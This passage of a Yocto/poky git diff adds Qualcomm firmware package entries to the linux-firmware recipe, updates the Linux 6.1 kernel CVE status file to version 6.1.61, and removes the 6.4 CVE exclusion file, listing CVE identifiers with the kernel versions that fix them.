+FILES:${PN}-qcom-sc8280xp-lenovo-x13s-audio = "${nonarch_base_libdir}/firmware/qcom/sc8280xp/LENOVO/21BX/*adsp*.* ${nonarch_base_libdir}/firmware/qcom/sc8280xp/LENOVO/21BX/battmgr.jsn ${nonarch_base_libdir}/firmware/qcom/sc8280xp/LENOVO/21BX/audioreach-tplg.bin ${nonarch_base_libdir}/firmware/qcom/sc8280xp/SC8280XP-LENOVO-X13S-tplg.bin"
FILES:${PN}-qcom-sc8280xp-lenovo-x13s-adreno = "${nonarch_base_libdir}/firmware/qcom/sc8280xp/LENOVO/21BX/qcdxkmsuc8280.mbn"
FILES:${PN}-qcom-sc8280xp-lenovo-x13s-compute = "${nonarch_base_libdir}/firmware/qcom/sc8280xp/LENOVO/21BX/*cdsp*.*"
FILES:${PN}-qcom-sc8280xp-lenovo-x13s-sensors = "${nonarch_base_libdir}/firmware/qcom/sc8280xp/LENOVO/21BX/*slpi*.*"
FILES:${PN}-qcom-sdm845-adreno = "${nonarch_base_libdir}/firmware/qcom/sdm845/a630*.*"
FILES:${PN}-qcom-sdm845-audio = "${nonarch_base_libdir}/firmware/qcom/sdm845/adsp*.*"
FILES:${PN}-qcom-sdm845-compute = "${nonarch_base_libdir}/firmware/qcom/sdm845/cdsp*.*"
-FILES:${PN}-qcom-sdm845-modem = "${nonarch_base_libdir}/firmware/qcom/sdm845/mba.mbn ${nonarch_base_libdir}/firmware/qcom/sdm845/modem*.* ${nonarch_base_libdir}/firmware/qcom/sdm845/wlanmdsp.mbn"
+FILES:${PN}-qcom-sdm845-modem = "${nonarch_base_libdir}/firmware/qcom/sdm845/mba.mbn ${nonarch_base_libdir}/firmware/qcom/sdm845/modem*.* ${nonarch_base_libdir}/firmware/qcom/sdm845/wlanmdsp.mbn ${nonarch_base_libdir}/firmware/qcom/sdm845/notice.txt_wlanmdsp"
FILES:${PN}-qcom-sdm845-thundercomm-db845c-sensors = "${nonarch_base_libdir}/firmware/qcom/sdm845/Thundercomm/db845c/slpi*.*"
FILES:${PN}-qcom-sm8250-adreno = "${nonarch_base_libdir}/firmware/qcom/sm8250/a650*.*"
FILES:${PN}-qcom-sm8250-audio = "${nonarch_base_libdir}/firmware/qcom/sm8250/adsp*.*"
FILES:${PN}-qcom-sm8250-compute = "${nonarch_base_libdir}/firmware/qcom/sm8250/cdsp*.*"
+FILES:${PN}-qcom-sm8250-thundercomm-rb5-sensors = "${nonarch_base_libdir}/firmware/qcom/sm8250/Thundercomm/RB5/slpi*.*"
RDEPENDS:${PN}-qcom-venus-1.8 = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-venus-4.2 = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-venus-5.2 = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-venus-5.4 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-venus-6.0 = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-vpu-1.0 = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-vpu-2.0 = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-adreno-a2xx = "${PN}-qcom-license ${PN}-qcom-yamato-license"
@@ -1153,20 +1407,34 @@ RDEPENDS:${PN}-qcom-adreno-a530 = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-adreno-a630 = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-adreno-a650 = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-adreno-a660 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a702 = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-apq8016-modem = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-apq8016-wifi = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-apq8096-adreno = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-apq8096-audio = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-apq8096-modem = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qcm2290-adreno = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qcm2290-audio = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qcm2290-modem = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qcm2290-wifi = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qrb4210-adreno = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qrb4210-audio = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qrb4210-compute = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qrb4210-modem = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qrb4210-wifi = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-sc8280xp-lenovo-x13s-audio = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-sc8280xp-lenovo-x13s-adreno = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-sc8280xp-lenovo-x13s-compute = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-sc8280xp-lenovo-x13s-sensors = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sdm845-adreno = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-sdm845-audio = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-sdm845-compute = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-sdm845-modem = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-sdm845-thundercomm-db845c-sensors = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sm8250-adreno = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-sm8250-audio = "${PN}-qcom-license"
RDEPENDS:${PN}-qcom-sm8250-compute = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sm8250-thundercomm-rb5-sensors = "${PN}-qcom-license"
RRECOMMENDS:${PN}-qcom-sc8280xp-lenovo-x13s-audio = "${PN}-qcom-sc8280xp-lenovo-x13s-compat"
RRECOMMENDS:${PN}-qcom-sc8280xp-lenovo-x13s-adreno = "${PN}-qcom-sc8280xp-lenovo-x13s-compat"
diff --git a/poky/meta/recipes-kernel/linux/cve-exclusion_6.1.inc b/poky/meta/recipes-kernel/linux/cve-exclusion_6.1.inc
index 88c7e4589a..1216e0c2dd 100644
--- a/poky/meta/recipes-kernel/linux/cve-exclusion_6.1.inc
+++ b/poky/meta/recipes-kernel/linux/cve-exclusion_6.1.inc
@@ -1,9 +1,9 @@
# Auto-generated CVE metadata, DO NOT EDIT BY HAND.
-# Generated at 2023-09-30 07:26:16.988526+00:00 for version 6.1.55
+# Generated at 2023-11-09 17:12:27.365962+00:00 for version 6.1.61
python check_kernel_cve_status_version() {
- this_version = "6.1.55"
+ this_version = "6.1.61"
kernel_version = d.getVar("LINUX_VERSION")
if kernel_version != this_version:
bb.warn("Kernel CVE status needs updating: generated for %s but kernel is %s" % (this_version, kernel_version))
@@ -3354,7 +3354,7 @@ CVE_STATUS[CVE-2020-27194] = "fixed-version: Fixed from version 5.9"
CVE_STATUS[CVE-2020-2732] = "fixed-version: Fixed from version 5.6rc4"
-# CVE-2020-27418 has no known resolution
+CVE_STATUS[CVE-2020-27418] = "fixed-version: Fixed from version 5.6rc5"
CVE_STATUS[CVE-2020-27673] = "fixed-version: Fixed from version 5.10rc1"
@@ -4644,7 +4644,7 @@ CVE_STATUS[CVE-2023-1118] = "cpe-stable-backport: Backported in 6.1.16"
CVE_STATUS[CVE-2023-1192] = "cpe-stable-backport: Backported in 6.1.33"
-# CVE-2023-1193 has no known resolution
+# CVE-2023-1193 needs backporting (fixed from 6.3rc6)
CVE_STATUS[CVE-2023-1194] = "cpe-stable-backport: Backported in 6.1.34"
@@ -4856,7 +4856,7 @@ CVE_STATUS[CVE-2023-3106] = "fixed-version: Fixed from version 4.8rc7"
# CVE-2023-31084 needs backporting (fixed from 6.4rc3)
-# CVE-2023-31085 has no known resolution
+CVE_STATUS[CVE-2023-31085] = "cpe-stable-backport: Backported in 6.1.57"
CVE_STATUS[CVE-2023-3111] = "fixed-version: Fixed from version 6.0rc2"
@@ -4936,6 +4936,8 @@ CVE_STATUS[CVE-2023-34256] = "cpe-stable-backport: Backported in 6.1.29"
CVE_STATUS[CVE-2023-34319] = "cpe-stable-backport: Backported in 6.1.44"
+CVE_STATUS[CVE-2023-34324] = "cpe-stable-backport: Backported in 6.1.57"
+
CVE_STATUS[CVE-2023-3439] = "fixed-version: Fixed from version 5.18rc5"
CVE_STATUS[CVE-2023-35001] = "cpe-stable-backport: Backported in 6.1.39"
@@ -4952,7 +4954,7 @@ CVE_STATUS[CVE-2023-35824] = "cpe-stable-backport: Backported in 6.1.28"
CVE_STATUS[CVE-2023-35826] = "cpe-stable-backport: Backported in 6.1.28"
-# CVE-2023-35827 has no known resolution
+CVE_STATUS[CVE-2023-35827] = "cpe-stable-backport: Backported in 6.1.59"
CVE_STATUS[CVE-2023-35828] = "cpe-stable-backport: Backported in 6.1.28"
@@ -5004,6 +5006,16 @@ CVE_STATUS[CVE-2023-3866] = "cpe-stable-backport: Backported in 6.1.36"
CVE_STATUS[CVE-2023-3867] = "cpe-stable-backport: Backported in 6.1.40"
+CVE_STATUS[CVE-2023-39189] = "cpe-stable-backport: Backported in 6.1.54"
+
+# CVE-2023-39191 needs backporting (fixed from 6.3rc1)
+
+CVE_STATUS[CVE-2023-39192] = "cpe-stable-backport: Backported in 6.1.53"
+
+CVE_STATUS[CVE-2023-39193] = "cpe-stable-backport: Backported in 6.1.53"
+
+CVE_STATUS[CVE-2023-39194] = "cpe-stable-backport: Backported in 6.1.47"
+
CVE_STATUS[CVE-2023-4004] = "cpe-stable-backport: Backported in 6.1.42"
# CVE-2023-4010 has no known resolution
@@ -5012,6 +5024,8 @@ CVE_STATUS[CVE-2023-4015] = "cpe-stable-backport: Backported in 6.1.43"
CVE_STATUS[CVE-2023-40283] = "cpe-stable-backport: Backported in 6.1.45"
+CVE_STATUS[CVE-2023-40791] = "fixed-version: only affects 6.3rc1 onwards"
+
CVE_STATUS[CVE-2023-4128] = "cpe-stable-backport: Backported in 6.1.45"
CVE_STATUS[CVE-2023-4132] = "cpe-stable-backport: Backported in 6.1.39"
@@ -5032,7 +5046,7 @@ CVE_STATUS[CVE-2023-4207] = "cpe-stable-backport: Backported in 6.1.45"
CVE_STATUS[CVE-2023-4208] = "cpe-stable-backport: Backported in 6.1.45"
-# CVE-2023-4244 needs backporting (fixed from 6.5rc7)
+CVE_STATUS[CVE-2023-4244] = "cpe-stable-backport: Backported in 6.1.56"
CVE_STATUS[CVE-2023-4273] = "cpe-stable-backport: Backported in 6.1.45"
@@ -5040,8 +5054,12 @@ CVE_STATUS[CVE-2023-42752] = "cpe-stable-backport: Backported in 6.1.53"
CVE_STATUS[CVE-2023-42753] = "cpe-stable-backport: Backported in 6.1.53"
+CVE_STATUS[CVE-2023-42754] = "cpe-stable-backport: Backported in 6.1.56"
+
CVE_STATUS[CVE-2023-42755] = "cpe-stable-backport: Backported in 6.1.55"
+CVE_STATUS[CVE-2023-42756] = "fixed-version: only affects 6.4rc6 onwards"
+
CVE_STATUS[CVE-2023-4385] = "fixed-version: Fixed from version 5.19rc1"
CVE_STATUS[CVE-2023-4387] = "fixed-version: Fixed from version 5.18"
@@ -5050,23 +5068,53 @@ CVE_STATUS[CVE-2023-4389] = "fixed-version: Fixed from version 5.18rc3"
CVE_STATUS[CVE-2023-4394] = "fixed-version: Fixed from version 6.0rc3"
+CVE_STATUS[CVE-2023-44466] = "cpe-stable-backport: Backported in 6.1.40"
+
CVE_STATUS[CVE-2023-4459] = "fixed-version: Fixed from version 5.18"
-# CVE-2023-4563 needs backporting (fixed from 6.5rc6)
+CVE_STATUS[CVE-2023-4563] = "cpe-stable-backport: Backported in 6.1.56"
CVE_STATUS[CVE-2023-4569] = "cpe-stable-backport: Backported in 6.1.47"
+CVE_STATUS[CVE-2023-45862] = "cpe-stable-backport: Backported in 6.1.18"
+
+CVE_STATUS[CVE-2023-45863] = "cpe-stable-backport: Backported in 6.1.16"
+
+CVE_STATUS[CVE-2023-45871] = "cpe-stable-backport: Backported in 6.1.53"
+
+CVE_STATUS[CVE-2023-45898] = "fixed-version: only affects 6.5rc1 onwards"
+
+# CVE-2023-4610 needs backporting (fixed from 6.4)
+
CVE_STATUS[CVE-2023-4611] = "fixed-version: only affects 6.4rc1 onwards"
# CVE-2023-4622 needs backporting (fixed from 6.5rc1)
CVE_STATUS[CVE-2023-4623] = "cpe-stable-backport: Backported in 6.1.53"
+CVE_STATUS[CVE-2023-46813] = "cpe-stable-backport: Backported in 6.1.60"
+
+CVE_STATUS[CVE-2023-46862] = "cpe-stable-backport: Backported in 6.1.61"
+
+# CVE-2023-47233 has no known resolution
+
+CVE_STATUS[CVE-2023-4732] = "fixed-version: Fixed from version 5.14rc1"
+
CVE_STATUS[CVE-2023-4881] = "cpe-stable-backport: Backported in 6.1.54"
CVE_STATUS[CVE-2023-4921] = "cpe-stable-backport: Backported in 6.1.54"
-# CVE-2023-5158 has no known resolution
+# CVE-2023-5090 needs backporting (fixed from 6.6rc7)
+
+CVE_STATUS[CVE-2023-5158] = "cpe-stable-backport: Backported in 6.1.57"
+
+CVE_STATUS[CVE-2023-5178] = "cpe-stable-backport: Backported in 6.1.60"
+
+CVE_STATUS[CVE-2023-5197] = "cpe-stable-backport: Backported in 6.1.56"
+
+CVE_STATUS[CVE-2023-5345] = "cpe-stable-backport: Backported in 6.1.56"
+
+# CVE-2023-5633 needs backporting (fixed from 6.6rc6)
-# CVE-2023-5197 needs backporting (fixed from 6.6rc3)
+CVE_STATUS[CVE-2023-5717] = "cpe-stable-backport: Backported in 6.1.60"
diff --git a/poky/meta/recipes-kernel/linux/cve-exclusion_6.4.inc b/poky/meta/recipes-kernel/linux/cve-exclusion_6.4.inc
deleted file mode 100644
index eacb706a49..0000000000
--- a/poky/meta/recipes-kernel/linux/cve-exclusion_6.4.inc
+++ /dev/null
@@ -1,5072 +0,0 @@
-
-# Auto-generated CVE metadata, DO NOT EDIT BY HAND.
-# Generated at 2023-09-30 07:24:59.900581+00:00 for version 6.4.16
-
-python check_kernel_cve_status_version() {
- this_version = "6.4.16"
- kernel_version = d.getVar("LINUX_VERSION")
- if kernel_version != this_version:
- bb.warn("Kernel CVE status needs updating: generated for %s but kernel is %s" % (this_version, kernel_version))
-}
-do_cve_check[prefuncs] += "check_kernel_cve_status_version"
-
-CVE_STATUS[CVE-2003-1604] = "fixed-version: Fixed from version 2.6.12rc2"
-
-CVE_STATUS[CVE-2004-0230] = "fixed-version: Fixed from version 3.6rc1"
-
-# CVE-2005-3660 has no known resolution
-
-CVE_STATUS[CVE-2006-3635] = "fixed-version: Fixed from version 2.6.26rc5"
-
-CVE_STATUS[CVE-2006-5331] = "fixed-version: Fixed from version 2.6.19rc3"
-
-CVE_STATUS[CVE-2006-6128] = "fixed-version: Fixed from version 2.6.19rc2"
-
-# CVE-2007-3719 has no known resolution
-
-CVE_STATUS[CVE-2007-4774] = "fixed-version: Fixed from version 2.6.12rc2"
-
-CVE_STATUS[CVE-2007-6761] = "fixed-version: Fixed from version 2.6.24rc6"
-
-CVE_STATUS[CVE-2007-6762] = "fixed-version: Fixed from version 2.6.20rc5"
-
-# CVE-2008-2544 has no known resolution
-
-# CVE-2008-4609 has no known resolution
-
-CVE_STATUS[CVE-2008-7316] = "fixed-version: Fixed from version 2.6.25rc1"
-
-CVE_STATUS[CVE-2009-2692] = "fixed-version: Fixed from version 2.6.31rc6"
-
-CVE_STATUS[CVE-2010-0008] = "fixed-version: Fixed from version 2.6.23rc9"
-
-CVE_STATUS[CVE-2010-3432] = "fixed-version: Fixed from version 2.6.36rc5"
-
-# CVE-2010-4563 has no known resolution
-
-CVE_STATUS[CVE-2010-4648] = "fixed-version: Fixed from version 2.6.37rc6"
-
-CVE_STATUS[CVE-2010-5313] = "fixed-version: Fixed from version 2.6.38rc1"
-
-# CVE-2010-5321 has no known resolution
-
-CVE_STATUS[CVE-2010-5328] = "fixed-version: Fixed from version 2.6.35rc1"
-
-CVE_STATUS[CVE-2010-5329] = "fixed-version: Fixed from version 2.6.39rc1"
-
-CVE_STATUS[CVE-2010-5331] = "fixed-version: Fixed from version 2.6.34rc7"
-
-CVE_STATUS[CVE-2010-5332] = "fixed-version: Fixed from version 2.6.37rc1"
-
-CVE_STATUS[CVE-2011-4098] = "fixed-version: Fixed from version 3.2rc1"
-
-CVE_STATUS[CVE-2011-4131] = "fixed-version: Fixed from version 3.3rc1"
-
-CVE_STATUS[CVE-2011-4915] = "fixed-version: Fixed from version 3.2rc1"
-
-# CVE-2011-4916 has no known resolution
-
-# CVE-2011-4917 has no known resolution
-
-CVE_STATUS[CVE-2011-5321] = "fixed-version: Fixed from version 3.2rc1"
-
-CVE_STATUS[CVE-2011-5327] = "fixed-version: Fixed from version 3.1rc1"
-
-CVE_STATUS[CVE-2012-0957] = "fixed-version: Fixed from version 3.7rc2"
-
-CVE_STATUS[CVE-2012-2119] = "fixed-version: Fixed from version 3.5rc1"
-
-CVE_STATUS[CVE-2012-2136] = "fixed-version: Fixed from version 3.5rc1"
-
-CVE_STATUS[CVE-2012-2137] = "fixed-version: Fixed from version 3.5rc2"
-
-CVE_STATUS[CVE-2012-2313] = "fixed-version: Fixed from version 3.4rc6"
-
-CVE_STATUS[CVE-2012-2319] = "fixed-version: Fixed from version 3.4rc6"
-
-CVE_STATUS[CVE-2012-2372] = "fixed-version: Fixed from version 3.13rc4"
-
-CVE_STATUS[CVE-2012-2375] = "fixed-version: Fixed from version 3.4rc1"
-
-CVE_STATUS[CVE-2012-2390] = "fixed-version: Fixed from version 3.5rc1"
-
-CVE_STATUS[CVE-2012-2669] = "fixed-version: Fixed from version 3.5rc4"
-
-CVE_STATUS[CVE-2012-2744] = "fixed-version: Fixed from version 2.6.34rc1"
-
-CVE_STATUS[CVE-2012-2745] = "fixed-version: Fixed from version 3.4rc3"
-
-CVE_STATUS[CVE-2012-3364] = "fixed-version: Fixed from version 3.5rc6"
-
-CVE_STATUS[CVE-2012-3375] = "fixed-version: Fixed from version 3.4rc5"
-
-CVE_STATUS[CVE-2012-3400] = "fixed-version: Fixed from version 3.5rc5"
-
-CVE_STATUS[CVE-2012-3412] = "fixed-version: Fixed from version 3.6rc2"
-
-CVE_STATUS[CVE-2012-3430] = "fixed-version: Fixed from version 3.6rc1"
-
-CVE_STATUS[CVE-2012-3510] = "fixed-version: Fixed from version 2.6.19rc4"
-
-CVE_STATUS[CVE-2012-3511] = "fixed-version: Fixed from version 3.5rc6"
-
-CVE_STATUS[CVE-2012-3520] = "fixed-version: Fixed from version 3.6rc3"
-
-CVE_STATUS[CVE-2012-3552] = "fixed-version: Fixed from version 3.0rc1"
-
-# Skipping CVE-2012-4220, no affected_versions
-
-# Skipping CVE-2012-4221, no affected_versions
-
-# Skipping CVE-2012-4222, no affected_versions
-
-CVE_STATUS[CVE-2012-4398] = "fixed-version: Fixed from version 3.4rc1"
-
-CVE_STATUS[CVE-2012-4444] = "fixed-version: Fixed from version 2.6.36rc4"
-
-CVE_STATUS[CVE-2012-4461] = "fixed-version: Fixed from version 3.7rc6"
-
-CVE_STATUS[CVE-2012-4467] = "fixed-version: Fixed from version 3.6rc5"
-
-CVE_STATUS[CVE-2012-4508] = "fixed-version: Fixed from version 3.7rc3"
-
-CVE_STATUS[CVE-2012-4530] = "fixed-version: Fixed from version 3.8rc1"
-
-# CVE-2012-4542 has no known resolution
-
-CVE_STATUS[CVE-2012-4565] = "fixed-version: Fixed from version 3.7rc4"
-
-CVE_STATUS[CVE-2012-5374] = "fixed-version: Fixed from version 3.8rc1"
-
-CVE_STATUS[CVE-2012-5375] = "fixed-version: Fixed from version 3.8rc1"
-
-CVE_STATUS[CVE-2012-5517] = "fixed-version: Fixed from version 3.6rc1"
-
-CVE_STATUS[CVE-2012-6536] = "fixed-version: Fixed from version 3.6rc7"
-
-CVE_STATUS[CVE-2012-6537] = "fixed-version: Fixed from version 3.6rc7"
-
-CVE_STATUS[CVE-2012-6538] = "fixed-version: Fixed from version 3.6rc7"
-
-CVE_STATUS[CVE-2012-6539] = "fixed-version: Fixed from version 3.6rc3"
-
-CVE_STATUS[CVE-2012-6540] = "fixed-version: Fixed from version 3.6rc3"
-
-CVE_STATUS[CVE-2012-6541] = "fixed-version: Fixed from version 3.6rc3"
-
-CVE_STATUS[CVE-2012-6542] = "fixed-version: Fixed from version 3.6rc3"
-
-CVE_STATUS[CVE-2012-6543] = "fixed-version: Fixed from version 3.6rc3"
-
-CVE_STATUS[CVE-2012-6544] = "fixed-version: Fixed from version 3.6rc3"
-
-CVE_STATUS[CVE-2012-6545] = "fixed-version: Fixed from version 3.6rc3"
-
-CVE_STATUS[CVE-2012-6546] = "fixed-version: Fixed from version 3.6rc3"
-
-CVE_STATUS[CVE-2012-6547] = "fixed-version: Fixed from version 3.6rc1"
-
-CVE_STATUS[CVE-2012-6548] = "fixed-version: Fixed from version 3.6rc1"
-
-CVE_STATUS[CVE-2012-6549] = "fixed-version: Fixed from version 3.6rc1"
-
-CVE_STATUS[CVE-2012-6638] = "fixed-version: Fixed from version 3.3rc1"
-
-CVE_STATUS[CVE-2012-6647] = "fixed-version: Fixed from version 3.6rc2"
-
-CVE_STATUS[CVE-2012-6657] = "fixed-version: Fixed from version 3.6"
-
-CVE_STATUS[CVE-2012-6689] = "fixed-version: Fixed from version 3.6rc5"
-
-CVE_STATUS[CVE-2012-6701] = "fixed-version: Fixed from version 3.5rc1"
-
-CVE_STATUS[CVE-2012-6703] = "fixed-version: Fixed from version 3.7rc1"
-
-CVE_STATUS[CVE-2012-6704] = "fixed-version: Fixed from version 3.5rc1"
-
-CVE_STATUS[CVE-2012-6712] = "fixed-version: Fixed from version 3.4rc1"
-
-CVE_STATUS[CVE-2013-0160] = "fixed-version: Fixed from version 3.9rc1"
-
-CVE_STATUS[CVE-2013-0190] = "fixed-version: Fixed from version 3.8rc5"
-
-CVE_STATUS[CVE-2013-0216] = "fixed-version: Fixed from version 3.8rc7"
-
-CVE_STATUS[CVE-2013-0217] = "fixed-version: Fixed from version 3.8rc7"
-
-CVE_STATUS[CVE-2013-0228] = "fixed-version: Fixed from version 3.8"
-
-CVE_STATUS[CVE-2013-0231] = "fixed-version: Fixed from version 3.8rc7"
-
-CVE_STATUS[CVE-2013-0268] = "fixed-version: Fixed from version 3.8rc6"
-
-CVE_STATUS[CVE-2013-0290] = "fixed-version: Fixed from version 3.8"
-
-CVE_STATUS[CVE-2013-0309] = "fixed-version: Fixed from version 3.7rc1"
-
-CVE_STATUS[CVE-2013-0310] = "fixed-version: Fixed from version 3.5"
-
-CVE_STATUS[CVE-2013-0311] = "fixed-version: Fixed from version 3.7rc8"
-
-CVE_STATUS[CVE-2013-0313] = "fixed-version: Fixed from version 3.8rc5"
-
-CVE_STATUS[CVE-2013-0343] = "fixed-version: Fixed from version 3.11rc7"
-
-CVE_STATUS[CVE-2013-0349] = "fixed-version: Fixed from version 3.8rc6"
-
-CVE_STATUS[CVE-2013-0871] = "fixed-version: Fixed from version 3.8rc5"
-
-CVE_STATUS[CVE-2013-0913] = "fixed-version: Fixed from version 3.9rc4"
-
-CVE_STATUS[CVE-2013-0914] = "fixed-version: Fixed from version 3.9rc3"
-
-CVE_STATUS[CVE-2013-1059] = "fixed-version: Fixed from version 3.11rc1"
-
-CVE_STATUS[CVE-2013-1763] = "fixed-version: Fixed from version 3.9rc1"
-
-CVE_STATUS[CVE-2013-1767] = "fixed-version: Fixed from version 3.9rc1"
-
-CVE_STATUS[CVE-2013-1772] = "fixed-version: Fixed from version 3.5rc1"
-
-CVE_STATUS[CVE-2013-1773] = "fixed-version: Fixed from version 3.3rc1"
-
-CVE_STATUS[CVE-2013-1774] = "fixed-version: Fixed from version 3.8rc5"
-
-CVE_STATUS[CVE-2013-1792] = "fixed-version: Fixed from version 3.9rc3"
-
-CVE_STATUS[CVE-2013-1796] = "fixed-version: Fixed from version 3.9rc4"
-
-CVE_STATUS[CVE-2013-1797] = "fixed-version: Fixed from version 3.9rc4"
-
-CVE_STATUS[CVE-2013-1798] = "fixed-version: Fixed from version 3.9rc4"
-
-CVE_STATUS[CVE-2013-1819] = "fixed-version: Fixed from version 3.8rc6"
-
-CVE_STATUS[CVE-2013-1826] = "fixed-version: Fixed from version 3.6rc7"
-
-CVE_STATUS[CVE-2013-1827] = "fixed-version: Fixed from version 3.6rc3"
-
-CVE_STATUS[CVE-2013-1828] = "fixed-version: Fixed from version 3.9rc2"
-
-CVE_STATUS[CVE-2013-1848] = "fixed-version: Fixed from version 3.9rc3"
-
-CVE_STATUS[CVE-2013-1858] = "fixed-version: Fixed from version 3.9rc3"
-
-CVE_STATUS[CVE-2013-1860] = "fixed-version: Fixed from version 3.9rc3"
-
-CVE_STATUS[CVE-2013-1928] = "fixed-version: Fixed from version 3.7rc3"
-
-CVE_STATUS[CVE-2013-1929] = "fixed-version: Fixed from version 3.9rc6"
-
-# Skipping CVE-2013-1935, no affected_versions
-
-CVE_STATUS[CVE-2013-1943] = "fixed-version: Fixed from version 3.0rc1"
-
-CVE_STATUS[CVE-2013-1956] = "fixed-version: Fixed from version 3.9rc5"
-
-CVE_STATUS[CVE-2013-1957] = "fixed-version: Fixed from version 3.9rc5"
-
-CVE_STATUS[CVE-2013-1958] = "fixed-version: Fixed from version 3.9rc5"
-
-CVE_STATUS[CVE-2013-1959] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-1979] = "fixed-version: Fixed from version 3.9rc8"
-
-CVE_STATUS[CVE-2013-2015] = "fixed-version: Fixed from version 3.8rc2"
-
-CVE_STATUS[CVE-2013-2017] = "fixed-version: Fixed from version 2.6.34"
-
-CVE_STATUS[CVE-2013-2058] = "fixed-version: Fixed from version 3.8rc4"
-
-CVE_STATUS[CVE-2013-2094] = "fixed-version: Fixed from version 3.9rc8"
-
-CVE_STATUS[CVE-2013-2128] = "fixed-version: Fixed from version 2.6.34rc4"
-
-CVE_STATUS[CVE-2013-2140] = "fixed-version: Fixed from version 3.11rc3"
-
-CVE_STATUS[CVE-2013-2141] = "fixed-version: Fixed from version 3.9rc8"
-
-CVE_STATUS[CVE-2013-2146] = "fixed-version: Fixed from version 3.9rc8"
-
-CVE_STATUS[CVE-2013-2147] = "fixed-version: Fixed from version 3.12rc3"
-
-CVE_STATUS[CVE-2013-2148] = "fixed-version: Fixed from version 3.11rc1"
-
-CVE_STATUS[CVE-2013-2164] = "fixed-version: Fixed from version 3.11rc1"
-
-# Skipping CVE-2013-2188, no affected_versions
-
-CVE_STATUS[CVE-2013-2206] = "fixed-version: Fixed from version 3.9rc4"
-
-# Skipping CVE-2013-2224, no affected_versions
-
-CVE_STATUS[CVE-2013-2232] = "fixed-version: Fixed from version 3.10"
-
-CVE_STATUS[CVE-2013-2234] = "fixed-version: Fixed from version 3.10"
-
-CVE_STATUS[CVE-2013-2237] = "fixed-version: Fixed from version 3.9rc6"
-
-# Skipping CVE-2013-2239, no affected_versions
-
-CVE_STATUS[CVE-2013-2546] = "fixed-version: Fixed from version 3.9rc1"
-
-CVE_STATUS[CVE-2013-2547] = "fixed-version: Fixed from version 3.9rc1"
-
-CVE_STATUS[CVE-2013-2548] = "fixed-version: Fixed from version 3.9rc1"
-
-CVE_STATUS[CVE-2013-2596] = "fixed-version: Fixed from version 3.9rc8"
-
-CVE_STATUS[CVE-2013-2634] = "fixed-version: Fixed from version 3.9rc3"
-
-CVE_STATUS[CVE-2013-2635] = "fixed-version: Fixed from version 3.9rc3"
-
-CVE_STATUS[CVE-2013-2636] = "fixed-version: Fixed from version 3.9rc3"
-
-CVE_STATUS[CVE-2013-2850] = "fixed-version: Fixed from version 3.10rc4"
-
-CVE_STATUS[CVE-2013-2851] = "fixed-version: Fixed from version 3.11rc1"
-
-CVE_STATUS[CVE-2013-2852] = "fixed-version: Fixed from version 3.10rc6"
-
-CVE_STATUS[CVE-2013-2888] = "fixed-version: Fixed from version 3.12rc1"
-
-CVE_STATUS[CVE-2013-2889] = "fixed-version: Fixed from version 3.12rc2"
-
-CVE_STATUS[CVE-2013-2890] = "fixed-version: Fixed from version 3.12rc2"
-
-CVE_STATUS[CVE-2013-2891] = "fixed-version: Fixed from version 3.12rc2"
-
-CVE_STATUS[CVE-2013-2892] = "fixed-version: Fixed from version 3.12rc1"
-
-CVE_STATUS[CVE-2013-2893] = "fixed-version: Fixed from version 3.12rc2"
-
-CVE_STATUS[CVE-2013-2894] = "fixed-version: Fixed from version 3.12rc2"
-
-CVE_STATUS[CVE-2013-2895] = "fixed-version: Fixed from version 3.12rc2"
-
-CVE_STATUS[CVE-2013-2896] = "fixed-version: Fixed from version 3.12rc1"
-
-CVE_STATUS[CVE-2013-2897] = "fixed-version: Fixed from version 3.12rc2"
-
-CVE_STATUS[CVE-2013-2898] = "fixed-version: Fixed from version 3.12rc1"
-
-CVE_STATUS[CVE-2013-2899] = "fixed-version: Fixed from version 3.12rc1"
-
-CVE_STATUS[CVE-2013-2929] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-2930] = "fixed-version: Fixed from version 3.13rc1"
-
-CVE_STATUS[CVE-2013-3076] = "fixed-version: Fixed from version 3.9"
-
-CVE_STATUS[CVE-2013-3222] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3223] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3224] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3225] = "fixed-version: Fixed from version 3.9rc7"
-
-CVE_STATUS[CVE-2013-3226] = "fixed-version: Fixed from version 3.9rc7"
-
